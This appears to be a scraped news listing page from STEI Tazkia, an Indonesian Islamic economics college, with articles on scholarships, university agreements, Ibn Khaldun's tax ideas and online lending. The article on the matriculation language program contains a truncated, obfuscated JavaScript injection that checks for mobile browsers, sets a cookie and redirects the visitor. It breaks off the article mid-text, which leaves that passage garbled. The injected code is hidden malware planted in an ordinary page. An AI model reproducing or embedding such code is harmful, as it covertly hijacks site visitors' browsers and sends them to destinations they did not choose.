Artikel

Tazkia Fasilitasi Anak Yatim dari Siak, Riau

No comments

Jajaran Tazkia bersama Jajaran PT. Bumi Siak Pusako menandatangani program kerjasama beasiswa

“Bersama dunia usaha, perguruan tinggi dapat ikut mencetak ahli dan praktisi ekonomi Islam melalui program beasiswa STEI Tazkia”

Sekolah Tinggi Ekonomi Islam (STEI) Tazkia dan PT Bumi Siak Pusako menandatangani perjanjian kerja sama (PKS) dalam rangka pengiriman 14 orang mahasiswa berstatus anak yatim dari Kabupaten Siak, Provinsi Riau.

Penandatangan dilakukan pada Rabu, 13 Februari 2019 di Kampus STEI Tazkia.

Dari STEI Tazkia diwaikili oleh Rektor Dr. Murniati Mukhlisin, M.Acc dan dari PT Bumi Siak Pusako diwakili oleh Direktur Utama, Iskandar. Menemani Iskandar, adalah jajaran manajemen, yaitu Corporate Secretary, Riky Hariansyah, Manager Umum dan CSR, Danil Firdaus, dan Kabag Legal, Lina.

Melalui kesepakatan ini, PT Bumi Siak Pusako akan mengirim mahasiswa secara bertahap. Tahap pertama akan diberangkatkan enam orang pada 14 Februari 2019. Dari enam orang tersebut, dua orang akan dibiayai oleh PT Bumi Siak Pusako dan sisanya akan dibantu pembiayaannya oleh Badan Amil Zakat Nasional (Baznas).

Kerjasama ini juga bagian dari program Hafidzprenuer D3 STEI Tazkia, PT Bumi Siak Pusako dan kampus Tazkia juga akan bekerja sama dalam pengiriman guru mengaji dalam program Imam Saqu yang diprakarsai oleh pondok pesantren Wadi Mubarak, Bogor.

*Sekilas tentang STEI Tazkia*
STEI Tazkia didirikan dibawah pengelolaan Yayasan Tazkia Cendekia yang didirikan berdasarkan Akta No.5 Notaris Syarif Tanudjaja tanggal 11 Maret 1999.

STEI Tazkia meyakini bahwa hanya sistem ekonomi yang dipandu oleh hukum-hukum dan ketentuan-ketentuan Allah SWT-lah yang mampu mensejahterakan masyarakat secara adil. Sesuai dengan namanya yaitu Tazkia (Tazkiyyah), STEI Tazkia berusaha mendorong perekonomian umat untuk tumbuh (growth) secara bersih (purification).

Upaya ini dilakukan melalui inovasi-inovasi yang produktif, efektif, dan efisien diiringi dengan upaya menyuburkan zakat dan sedekah sehingga membuahkan hasil yang berlipat ganda untuk kesejahteraan masyarakat.

Miftahul AnwarTazkia Fasilitasi Anak Yatim dari Siak, Riau
read more

Meneladani Kedermawan Utsman bin ‘Affan

No comments

Oleh: Nurizal Ismail (Direktur Pusat Studi Kitab Islami STEI Tazkia & Peneliti ISEFID)

Dalam sebuah kuliah umum di Sekolah Tinggi Ekonomi Islam Tazkia bertajuk Muslim Youth Contribution in Islamic Economic History: Past and Present, Ustadz Bachtiar Natsir (UBN), yang didaulat sebagai salah satu pembicara, menjelaskan bagaimana sosok kedermawanan salah satu Khulafāu al-Rāshīdin, Utsman bin ‘Affan Raḍiyallāhu ‘Anhu yang sering membantu serta memperjuangkan Islam dan Muslimin di zaman Rasulullah SAW.

Sontak, kami pun bertanya dalam hati, apa yang dilakukan oleh Utsman bin ‘Affan sehingga kita tidak mengetahui kenapa beliau dikategorikan sebagai seorang dermawan? Peran besar apa yang pernah dirinya lakukan terhadap Islam? Seberapa kaya Utsman bin Affan sehingga ia bisa sebegitu dermawannya terhadap Islam?

Belum selesai kami bergumam, UBN menjelaskan bahwa figur kedermawanan Ustman bin Affan adalah ketika ia memberikan pinjaman terbaik kepada Allah SWT. UBN lantas merujuk ucapannya tentang ‘Utsman bin ‘Affan tersebut dengan membaca surat Al-Baqarah ayat 245 yang memiliki terjemahan sebagai berikut: “Siapakah yang mau memberi pinjaman kepada Allah, pinjaman yang baik (menafkahkan hartanya di jalan Allah), maka Allah akan melipatgandakan pembayaran kepadanya dengan lipat ganda yang banyak. Dan Allah menyempitkan dan melapangkan (rezeki) dan kepada-Nya-lah kamu dikembalikan.” (Qs Al-Baqarah: 245).

Ahmad Muṣṭafā bin Muhammad bin Abdul Mun’im Al-Maraghi dalam karya monumentalnya, Tafsir Al-Marāghī, menjelaskan bahwa pinjaman terbaik yang dimaksud adalah berinfaq di jalan Allah SWT sesuai dengan kebutuhan dan niat yang baik untuk dapat dimanfaatkan bagi seluruh Muslim dan dilakukan dengan cara-cara yang disyariatkan Islam. Sedangkan Imam Al-Qurṭūbī dalam karyanya, Jāmi’ li Aḥkāmi al-qur’ān, menjelaskan jika ayat tersebut merupakan perintah Allah SWT kepada umatnya untuk senantiasan berinfaq di jalan Allah SWT.

Fakta sejarah pun berkata demikian. Utsman bin ‘Affan disebut-sebut sebagai sosok di belakang pembangunan Sumur Rumata, mendanai pasukan ‘Usrah serta sosok di balik perluasan Masjid Nabawi. Kesemuanya, ‘Utsman bin ‘Affan lakukan bukan atas perintah Rasulullah secara langsung melainkan keyakinannya kepada apa yang difirmankan oleh Allah SWT dalam Al-Qur’an. Karena keyakinannya dalam memberikan pinjaman yang terbaik kepada Allah SWT beliau ‘dinobatkan’ oleh Rasulullah SAW sebagai salah satu sahabat yang dijanjikan oleh Allah SWT masuk ke dalam Surga.

Dalam riwayat yang berhasil kami himpun dikisahkan bahwa Rasulullah telah bersabda: “Siapa saja yang menggali Sumur Rumata maka untuknya surga.” Maka sumur tersebut digali oleh Utsman.

Rasulullah SAW kembali bersabda: “Barangsiapa yang mendanai pasukan ‘Usrah maka untuknya surga.” Maka menurut penuturan Abdurrahman bin ‘Auf, Utsman bin ‘Affan mendatangi Rasulullah SAW dengan membawa 700 gantang emas yang diperuntukkan bagi pasukan ‘Usrah.

Pun ketika kapasitas Masjid Nabawi tidak mampu menampung lagi jamaah Muslim yang semakin bertambah, Rasulullah SWT bersabda: ““Barangsiapa membeli lokasi milik keluarga fulan lalu menambahkan untuk perluasan masjid dengan kebaikan maka ia kelak di surga.” Lagi-lagi, Utsman membeli lokasi tersebut dengan uang pribadi dan lantas diwakafkan kepada pihak masjid.

Teladan yang diberikan ‘Utsman bin ‘Affan seharusnya menjadi pelecut semangat setiap umat Muslim di seluruh dunia. Karena apa yang diperagakan oleh ‘Utsman bin Affan hadir dengan semangat kedermawanan hati untuk terus berinfaq di jalan Allah SWT. Dengan kedermawanan, anasir pemahaman kapitalis seperti sikap materialistis, hedonis, boros, berlebih-lebihan akan terkikis dan hilang dengan sendirinya.

Selain itu, untuk menjadi seorang dermawan, Anda tidak perlu menunggu untuk kaya terlebih dahulu. Al-Mawardī dalam kitabnya Adabu al-dunyā wa al-dīn menjelaskan bahwa kedermawanan dapat lahir dari pemberian sesuatu kebutuhan yang diperlukan oleh mereka yang berhak sesuai dengan kemampuan yang dimiliki. Artinya, jika Anda mampu melaksanakan instrumen-instrumen seperti zakat, infaq, sedekah dan wakaf, maka Anda sudah dapat dikategorikan sebagai seorang yang dermawan.

Andai sikap kedermawanan ‘Utsman bin ‘Affan sudah terlaksana, saya yakin ekonomi keumatan berbasis kedermawanan ‘Utsman akan terbentuk. Dalam skala makro, andai sebuah negara bersikap dermawan, maka Allah SWT berjanji akan menjadikan negara tersebut sebagai negara yang baldatun ṭayyibatun wa rabbun ghafūr. Wallāhu a’lam bi al-ṣawāb.

https://gontornews.com/2019/02/13/meneladani-kedermawan-utsman-bin-affan/

Miftahul AnwarMeneladani Kedermawan Utsman bin ‘Affan
read more

STEI TAZKIA KEMBALI TANDATANGANI MOU YANG KETIGA KALINYA DENGAN IIUM

No comments

Jumat 08 Februari 2019 M / 02 Jumadil Akhir 1440 H, Sekolah Tinggi Ekonomi Islam (STEI) Tazkia melakukan MoU yang ketiga kalinya dengan Internasional Islamic University (IIUM). Penandatangan MoU ini dilakukan di ruang sidang utama gedung Rektorat IIUM.

Prof Tan Sri Dato Dzulkifli Abdul Razak selaku Rektor IIUM dalam sambutanya menyampaikan bahwa kerjasama ini InsyaAllah akan membawa konstribusi terbaik bagi pengembangan nilai-niai kemanusiaan yang merupakan substansi dari pendidikan.

Sementara Dr. Murniati Mukhlisin, M.Acc selaku Rektor STEI Tazkia menyampaikan rasa bahagia atas sambutan Rektor dan segenap pimpinan IIUM. Alhamdulillah Tazkia akan selalu sejalan dengan cita cita mulia dalam pengembangan dakwah, riset dan pengabdian masyarakat baik pada tingkat nasional maupun internasional ungkap Murniati yang juga alumni IIUM.

Hadir dalam pendantangan MoU ini adalah Dr (C) Andang Heryahya, M.Pd selaku Pembantu Ketua I Bidang Akademik, Dr. Mukhamad Yasid, MSi, Direktur Pascasarjana dan Nurizal Ismail, MA, Direktur Pusat Studi Kitab Klasik STEI Tazkia.

Pendantangan MoU ini juga disaksikan oleh Mokhamad Farid Maruf, PhD sebagai Atase Pendidikan, KBRI Kuala Lumpur.

Demikian dilaporkan oleh Tim Humas STEI Tazkia.

Rizqi ZakiyaSTEI TAZKIA KEMBALI TANDATANGANI MOU YANG KETIGA KALINYA DENGAN IIUM
read more

Ibnu Khaldun, Pajak, dan Negara

No comments

Fungsi pajak itu adalah untuk keadilan semuanya

Foto Nurizal Ismail

Foto Nurizal Ismail

Oleh: Nurizal Ismail *)

Siapa yang tidak kenal dengan Ibnu Khaldun? Dari Barat sampai ke Timur orang menyebut naman itu. Sejumlah teorinya dalam berbagai bidang keilmuan banyak dikembangkan kaum cerdik cendekia saat ini. Misalnya, Haddad (1977) seorang profesor dari Universitas Sidney mengatakan teori pembangunan ekonomi Adam Smith mempunyai kesamaan dengan pandangan Ibnu Khaldun.

Lainnya, Ekonom dan juga penasihat ekonomi President Amerika Ronald Reagan, Arthur Laffer(1940). Dia berpendapat, teori kurva laffernya adalah hasil pengembangan pemikiran pajak Ibnu Khaldun.

Hal ini kemudian didukung Reagan sebagaimana yang ia sampaikan di New York Times pada 2 Oktober 1981, bahwa Ibnu Khaldun mendalilkan, “Pada awal dinasti, pendapatan pajak besar diperoleh dari penilaian kecil. Kemudian pada akhir dinasti, pendapatan pajak kecil diperoleh dari penilaian besar.”

Fakta yang ditampilkan Gwartneh (2006) menarik untuk dikaji. Judulnya Supply-Side Economics. Di dalamnya ada penjelasan, selama 1980-an kebijakan pemotongan pajak telah dilakukan oleh presiden Reagan yang dikenal dengan Reagonomik.

Undang-undang pajak yang disahkan pada 1981 dan 1986  telah mengurangi tarif pajak penghasilan federal Amerika dari 70 persen menjadi sekitar 33 persen. Bagi performa AS, hal ini berdampaknya terhadap ekonomi selama tahun  tersebut sehingga menjadi sangat mengesankan. Tingkat pertumbuhan GNP riil berakselerasi dari tingkat yang lamban di tahun 1970-an, hingga pertumbuhan ekonomi AS melebihi industri negara industri lainnya kecuali Jepang.

Di tahun ini, isu yang sama muncul pada debat pilpres 2019 yang pertama. Ketika itu paslon No 02 mengangkat isu menaikkan pajak rasio sampai 16 persen. Tetapi terlihat paradoks, karena tujuan peningkatan rasio pajak untuk menghilangkan terjadinya praktik korupsi.

Asumsinya, ketika pendapatan pajak naik, maka dapat meningkatkan gaji para penegak hukum di Indonesia, sehingga tidak akan korupsi. Padahal fungsi pajak itu adalah untuk keadilan semuanya. Drajad Wibowo, sebagaimana diberitakan Republika menyampaikan, pasangan Prabowo-Sandi akan menggunakan gagasan Ibnu Khaldun untuk rasio pajak. Bagaimana gagasan Ibnu Khaldun tentang peningkatan pajak rasio ini?

Nama sebenarnya adalah Abu Zayd Abdur Rahman Ibn Khaldun (732-808/1332-1406). Dia dikenal sebagai sejarawan, politisi, diplomat, dan filusuf sosial yang dilahirkan di Tunisia. Toynbee (1935) menganggap karyanya yang brilian ‘Muqaddimah’ (Pengantar Sejarah) sebagai pencapaian paling agung dan intelektual di abad pertengahan. Di dalamnya terdapat perbendaharaan banyak ilmu, seperti sejarah, psikologi, sosiologi, geografi, ekonomi, ilmu politik, dan lainnya.

Konsep pajak Ibnu Khaldun bermula dari penjelasannya tentang  bangkit dan runtuhnya sebuah dinasti, yang terdiri dari lima tahapan: 1) penaklukan dan kesuksesan, 2) stabilitas dan meninggikan diri sendiri, 3) ekspansi ekonomi dan kenikmatan hasil pembangunan, 4) kepuasan dan kompromi, dan 5) berlebih-lebihan, pemborosan, dan dekadensi. Pada tiap-tiap tahapan struktur pajak dan pengeluaran pemerintah memainkan peranan yang sangat penting, sehingga sangat penting membahas tahapan-tahapan tersebut barulah kita dapat mengerti apa yang dimaksudkan dengan peningkatan pajak rasio menurutnya.

Pada tahapan awal, dinasti memiliki kualitas yang baik pada masyarakatnya, merencanakan pengeluaran yang moderat, dan menghormati kekayaan orang lain. Saat itu dinasti menjauhi pajak yang berat. Pada tahap kedua, penguasa memperoleh kekuasaan penuh atas rakyatnya, mengklaim seluruh otoritas untuk dirinya sendiri, mengecualikan mereka, dan mencegah dari mencoba mengambil bagian di dalamnya. Saat itu adalah tahap stabilisasi dan konsolidasi kekuatan, semakin memperkuat perasaan kelompok dan memberi penghargaan kepada para pendukungnya melalui pengeluaran yang baik.

Pada tahap ketiga merupakan kemakmuran ekonomi dan kenikmatan yang diperoleh pemerintah. Sehingga perhatiannya banyak difokuskan pada pengumpulan pajak, administrasi penerimaan dan pengeluaran publik. Pengembangan kota, pembangunan gedung-gedung besar, peningkatan tunjangan pejabat, dan masyarakat umum menarik perhatian.

Beban pengeluaran mewah dan perpajakan meningkat meskipun ketenangan dan kepuasan terjadi. Tahap ini adalah saat terakhir penguasa berada dalam otoritas penuh. Pada tahap keempat, penguasa puas dengan apa yang telah dibangun oleh para pendahulunya: Ia membatasi aktivitasnya, mengikuti jejak mereka dengan cermat. Ia tidak mengambil inisiatif sendiri. Ekspansi kekuatan politik-ekonomi terhenti dan terjadilah semacam stagnasi.

Pada tahap kelima, penguasa menikmati kemewahan, menjalani kehidupan yang sangat mewah, membuang-buang sumber daya yang terakumulasi oleh aturan sebelumnya. Aparat yang tidak kompeten dan tidak memenuhi syarat dipercayakan untuk melakukan hal-hal terpenting dari negara. Orang-orang pengadilan yang menganggur dihargai, dan kritikus yang tulus dihina dan dihukum. Penguasa kehilangan semua jenis simpati dan perasaan kelompok.

Pada tahap ini pajak meningkat. Sementara pendapatan menurun. Ekonomi hancur dan sistem sosial terganggu. Pemerintah menderita penyakit yang tidak dapat disembuhkan, yang menyebabkan kejatuhannya. Kemudian diambil alih oleh dinasti baru, didukung oleh perasaan kelompok yang kuat dan kohesi sosial.

Tahapan yang ditampilkan Ibn Khaldun ini mungkin sedang terjadi di Indonesia, khususnya pada tahapan kelima. Inilah yang akhirnya mengakibatkan banyak rakyat menginginkan pemerintahan baru, yang akhirnya mungkin akan kembali kepada siklus pertama dalam teori Ibnu Khaldun.

Beliau menggambarkan harta itu saling memerlukan antara rakyat (al-raiyyah) dan penguasa (as-Sulthan); Jika penguasa menahannya, maka kekuasaan pada rakyat akan hilang. Sehingga, tahapan-tahapan dalam posisi puncak kegemilangan harus memerhatikan kemaslahatan masyarakatnya dengan mengelola keuangan negara sebaik mungkin.

Inti dari teori perpajakan Ibn Khaldun yaitu untuk menurunkan pembebanan pajak atas jumlah individu-individu yang mampu melakukan aktivitas usaha atau bisnis. Karena dengan cara ini, mereka mendorong perusahaan memperoleh keuntungan yang lebih besar bagi pengusaha dan pendapatan bagi pemerintah.

Alasannya berdasarkan konsep zakat yang disyariatkan oleh Islam yang rate-nya sangat kecil, tetapi memilki kemaslhatan yang besar buat masyarakat. Tampaknya Ibnu Khaldun sepenuhnya memahami tarif dan pendapatan pajak adalah dua hal yang berbeda.

Tarif pajak yang tinggi bukanlah jaminan bahwa hal itu akan memaksimalkan pendapatan pajak. Sebaliknya itu akan menunjukkan pendapatan yang menurun setelah tahap tertentu. Karena tarif pajak yang lebih tinggi menghambat upaya kerja masyarakat. Itu juga mendorong mereka untuk menyiasati, bahkan menghindari pajak. Dampaknya, bukan meningkat, pendapatan pajak justru akan menyusut.

Sistem perpajakan yang sehat yaitu dengan tidak meminta lebih dari yang bisa ditoleransi. Tidak terlalu banyak membebankan biaya kepada siapa pun. Kemudian  negara memperlakukan semua orang dengan adil. Ini membuat negara lebih mudah mendapatkan kepercayaan masyarakat.

Dapat disimpulkan, menurut Ibnu Khaldun, anggaran pemerintah mungkin terjadi surplus, seimbang, atau defisit tergantung pada tingkat pembangunan dan komposisi pengeluarannya. Karenanya tarif pajak akan rendah, sedang, atau berlebihan.  Semuanya itu dikembalikan kepada pemerintah yang berkuasa mau dikemanakan arah sistem dan kebijakan pajaknya. Gagasan Ibnu Khaldun ini bisa kita ambil sebagai ibrah  dalam pengelolaan perpajakan Indonesia.

*) Direktur Pusat Studi Kitab Klasik Islami STEI Tazkia dan Peneliti ISEFID

Arikel ini telah dimuat di Republika Online

Miftahul AnwarIbnu Khaldun, Pajak, dan Negara
read more

Gubernur Terpilih Riau Gandeng Tazkia Majukan Riau dengan Syariah

No comments

Hari ini telah ditandatangani Nota Kesepahaman antara Kampus STEI Tazkia yang diwakili oleh Murniati Mukhlisin sebagai Ketua dengan Kabupaten Siak mengenai Pendidikan, Penelitian dan Pengabdian Masyarakat yang diwakili oleh Bupati Siak Indrapura. Turut hadir Muhammad Syafii Antonio dan segenap pimpinan unit – unit Tazkia dan Ketua BAZNAS Siak, Pimpinan Bank Riau Kepri Cabang Siak serta jajaran Kepala Dinas kabupaten setempat.

Ruang lingkup kerjasama ini adalah untuk pengiriman putra – putri daerah untuk belajar menghafal Qur’an dan kemandirian berbisnis. Program Diploma dan S1 Hafidzpreneur yang telah digagas sejak tahun 2016 itu sangat menarik perhatian Bupati Siak sekaligus Gubernur Terpilih, Syamsuar.

Syamsuar mengatakan bahwa dia mentargetkan minimal ada 1000 putra – putri daerah yang hafal Qur’an selama masa jabatannya sebagai Gubernur Riau. Para penghafal Qur’an ini diharapkan juga mahir di bidang lain seperti sains, teknologi dan ekonomi. Untuk tahap awal, Tazkia diberi amanah untuk mendidik 100 putra – putri daerah asal Siak mulai awal tahun 2019 atas beasiswa BAZNAS Siak, Bumi Siak Pusako dan Dinas Pendidikan dan Kebudayaan Siak. Kelak program ini akan dibawa ke level provinsi.

Kerjasama kedua, Kampus Tazkia bersama Baitut Tamkin Tazkia Madani (BTTM) Tazkia diharapkan dapat membantu membentuk program pemberdayaan ekonomi rumah tangga syariah sebagai program pemberantasan kemiskinan di Kabupaten Siak. Saat ini angka kemiskinan di sana adalah 5.4 persen yang akan terus diturunkan dengan salah satunya maksimalisasi penyaluran dana zakat, infaq, sedekah yang bersifat produktif dan kemandirian.

Menurut Bupati, sejak 10 tahun terakhir telah terjadi kenaikan pungutan zakat di Kabupaten Siak yaitu dari semula sekitar 400 juta menjadi 13.5 milyar per tahun setelah diwajibkannya pungutan zakat dari berbagai jenis seperti penghasilan dan pertanian di sana.

Kerjasama ketiga, Kampus Tazkia bersama – sama unit Tazkia lainnya yaitu Tazkia Consulting akan mendampingi pembuatan kajian rencana konversi Bank Riau dan Kepri Riau menjadi penuh syariah. Kajian spin-off (berpisah unit syariah dari induknya) sudah dilakukan namun Gubernur terpilih memilih sekaligus mendapat dukungan lebih kuat untuk menjalankan konversi penuh syariah bukan spin-off.

“Bupati mengharapkan dengan menerapkan konsep syariah dan Qur’an dalam kehidupan sosial kemasyarakatan dan ekonomi, Kabupaten Siak dan Riau pada umumnya akan meraih keberkahan dan mengembalikan kejayaan Kerajaan Siak Indrapura” ujar Arif Sumandar, Staf Hubungan Masyarakat STEI Tazkia dari Siak Seri Indrapura, Riau.

Miftahul AnwarGubernur Terpilih Riau Gandeng Tazkia Majukan Riau dengan Syariah
read more

Roadmap KNKS, Berkah untuk Ekonomi Syariah

No comments

Dalam webinar yang diadakan BRI Corporate University, pakar ekonomi syariah ini menilai, roadmap Komite Nasional Keuangan Syariah (KNKS) akan lebih mendorong pertumbuhan ekonomi syariah di Indonesia.

Dalam webinar berjudul “Peran Islamic Finance dalam Menunjang Perekonomian Indonesia”, ketua STEI Tazkia mengabarkan, peta jalan Komite Nasional Keuangan Syariah (KNKS) sebenarnya sudah diterbitkan, namun belum bisa diakses oleh publik. Dalam peta jalan tersebut, di antaranya disebutkan, keuangan syariah diharapkan lebih bisa bersinergi dengan industri halal seperti makanan dan wisata halal.

Webinar kali ini diisi oleh, Ketua STEI Tazkia, Dr. Murniati Mukhlisin M.Acc sebagai pembiaya kunci. Dibuka oleh Asisten Deputi Manajemen SDM Eksekutif Kementerian BUMN, Imam Bustomi, dan sebagai tuan rumah adalah CLO BRI Corporate University, Retno Wahyuni Wijayanti dan CLO B & FS BUMN Corporate University, Lugiyem.

konomi syariah sejalan dengan SDG. Kalau melihat kepada maqasid syariah (tujuan syariah), program sustainable development goal (SDG’s) sejatinya sejalan dengan maqasid syariah. Misalnya, dalam pengembangan keuangan syariah, harus memikirkan kebermanfaatannya untuk pendidikan manusianya, atau hisbun nafs. “Juga dengan harta, bagaimana melindungi aset, rumah, harta, itu di hisbun al maal”, kata Murniati menjelaskan.

Namun, perkembangan keuangan syariah juga menghadapi tantangan. Salah satunya perlambatan, pertanyaan dari pemirsa webinar tentang melambatnya pertumbuhan keuangan syariah di Indonesia.

Dijawab oleh Murniati, kurang komprehensifnya sosialisasi menjadi penyebabnya. Belum ada sosialisasi ekonomi syariah yang lengkap. Padahal, hampir 24 jam kita berurusan dengan masalah ekonomi, dan yang namanya ekonomi harusnya dijalankan secara syariah. “kita harus taklukan godaan iblis dengan ekonomi syariah, karena sudah dikatakan dalam kitab suci, iblis akan terus menggoda manusia, dengan dari harta dan anak”, kata Murniati menjelaskan.

Untuk mempercepat perkembangan ekonomi syariah, sebenarnya, Pemerintah telah memiliki roadmap. Ada beberapa roadmap yang dikeluarkan oleh Bank Indonesia (BI), Otoritas Jasa Keuangan (OJK), dan juga yang sudah diluncurkan di ISEF kemarin, roadmap-nya Komite Nasional Keuangan Syariah (KNKS).

“Ini menjadi keseriusan dari pemerintah kita. Dengan adanya roadmap, menjadi lebih jelas arah pengembangannya dan akan ada perangkat di dalam KNKS. Dalam roadmap itu dari tahun ke sudah ada ukuran pencapaiannya yang diiginkan. Keuangan syariah adalah salah satu dari industri halal. Kita malu, kita mayoritas Muslim, tapi bukan pemain utama keuangan syariah, masih banyak negara non Muslim yang menjadi pemain utama”, kata Murniati menjelaskan.

Ke depan, menurutnya penting juga untul menjadikan industri keuangan syariah bisa membantu pengembangan industri makanan halal dan wisata.

Miftahul AnwarRoadmap KNKS, Berkah untuk Ekonomi Syariah
read more

Pinjaman Online Makan Korban, Saatnya Menerapkan Ekonomi Syariah!

No comments

Di belum lengkapnya regulasi pinjaman online (pinjol) yang dilakukan oleh perusahaan Financial Technology (Fintech), peluang bermain bagi pinjol terbuka, termasuk memakan korban, akibat ribanya.

Baru-baru ini publik dikagetkan oleh berita seputar pinjaman online yang terus memakan korban. Sebagaimana diberitakan CNN Indonesia, seorang Ibu berinisial L (40) di Jakarta sampai mencoba bunuh diri setelah tak sanggup membayar cicilannya ke pinjol dari sebuah Fintech.

Bukan hanya Ibu L yang menanggung bunga hingga 67%, nasabah pinjol lain bahkan diancam dan dilecehkan karena tidak sanggup membayar cicilannya di sebuah Fintech.

Mulai dari kasus kekerasan fisik psikis hingga bunuh diri, kasus jeratan pinjol terus meningkat. Menurut data Lembaga Batuan Hukum (LBH) Jakarta, hingga saat ini sudah ada 283 korban dari kalangan menengah ke atas maupun menengah ke bawah yang mengadukan keluhan terhadap berbagai aplikasi Fintech. Beberapa perusahaan yang dikeluhkan bahkan sudah memperoleh izin usaha dari Otoritas Jasa Keuangan (OJK).

Pengamat Ekonomi Syariah yang juga Kepala Program Studi Manajemen Binsis Syariah Sekolah Tinggi Ekonomi Islam (STEI) Tazkia, Tuba Jazil, M.Fin, banyak pinjaman online yang tak ubahnya rentenir digital. Dan, sebenarnya, tidak perlu menunggu kasus besar hingga transaksi pinjaman online berbasis riba ini baru disoroti.

Karena menurutnya, larangan riba baik dari Alquran maupun Injil sudah cukup menjadi dasar untuk melarang praktik pinjaman ribawi. Apalagi jika berkembang melalui online, karena riba membawa kezaliman. “Pinjaman Online berbasis riba ini adalah kezaliman yang nyata, maka haruslah dijauhi, agar Allah SWT melindungi kita dari adzab-Nya.”

Dalam kenyataannya, belum ada regulasi soal pembatasan bunga/ marjin pinjaman dan apakah boleh menggunakan debt collector dalam penagihan. Regulator baru mendata legalitas Fintech. Per September lalu, Satgas Waspada Investasi menemukan sekitar 227 fintech ilegal yang menjalankan bisnis P2P lending. Lebih dari separuhnya berasal dari China dan sebagian lainnya berasal dari Indonesia dan Eropa Timur.

Pengamat dari Pusat Kajian Fintech Syariah STEI Tazkia, Dr. Murniati Mukhlisin M.Acc, merekomendasikan urjensinya riset bisnis Fintech. Riset mencakup, “Dampaknya terhadap sisi akad, syarat, rukun, hukum, administrasi pajak, akuntansi, dan audit”, kata Murniati. Termasuk, tambahnya riset mengenai prospek dan tantangan termasuk dampak sosial dan budaya. Riset terakhir ini perlu dipertajam dengan mengadakann survei pengguna atau perbandingan kasus antarnegara.

Fintech Syariah

Murniati pun menyinggung bedanya Fintech konvensional dengan syariah. Hal ini perlu untuk menunjukkan bahwa Fintech syariah sejatinya lebih berkelanjutan. Untuk menjaga keberlanjutan Fintech syariah, menurut Murniati, setiap pelaku Fintech syariah harus memahami dan memastikan bisnisnya tidak melanggar hukum positif dan hukum islam. Untuk itu, Fintech syariah harus memiliki Dewan Pengawas Syariah (DPS), menerapkan akuntansi yang benar yaitu dengan mematuhi PSAK Syariah, dan tentunya ada audit syariah secara berkala.

“Tata Kelola, menjadi sangat penting. Di situ ada Transparancy, Accountability, Responsibility, Independency, dan Fairness, disingkat TARIF. Selain itu Fintech syariah juga harus menerapkan e-KYC (know your customer), e-KYI (know your investor), dan etika Islami”, kata Murniati menegaskan.

Miftahul AnwarPinjaman Online Makan Korban, Saatnya Menerapkan Ekonomi Syariah!
read more

Grand Launching Matriculation Language Programs

1 comment

Kamis, 11 Oktober Kampus Matrikulasi STEI Tazia mengadakan “Grand Launching Matriculation Language Programs”. Program bahasa ini merupakan sebuah program yang ditujukan untuk meningkatkan kemampuan bahasa Inggris dan Arab (aktif) seluruh mahasiswa Tazkia. Program ini juga ditujukan untuk menyiapkan dan mencetak Ekonom yang mampu bersaing dalam kancah Internasional.

Dengan berlakunya Program ini setiap mahasiswa diwajibkan untuk:

1. Berbahasa Inggris atau Arab selama program matrikulasi, dan di area Matrikulasi;

2. Mereka bersedia saling mengingatkan untuk menegakkan bilingualisme;

3. Mereka bersedia membangun lingkungan bahasa yang kondusif;

4. Yang terakhir mereka mau menerima konsekuensinya jika melanggar peraturan.

“Program ini ditujukan agar mahasiswa terbiasa untuk menggunakan bahasa Arab dan Inggris dalam aktifitas sehari-sehari mereka. Selain itu program ini juga ditujukan sebagai bekal bagi para mahasiswa untuk mempersiapkan diri mereka dalam persaingan dunia profesional dalam”. Papar Ustadz Hasan (Ketua program matrikulkasi) sekaligus meresmikan program. |da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarGrand Launching Matriculation Language Programs
read more

MONDAY FORUM, Paradox Perekonomian Global Ekonomi Islam & Perspektif Perekonomian Nasional

No comments

Senin, 08 Oktober 2018 M/A� 28 Muharram 1440 H

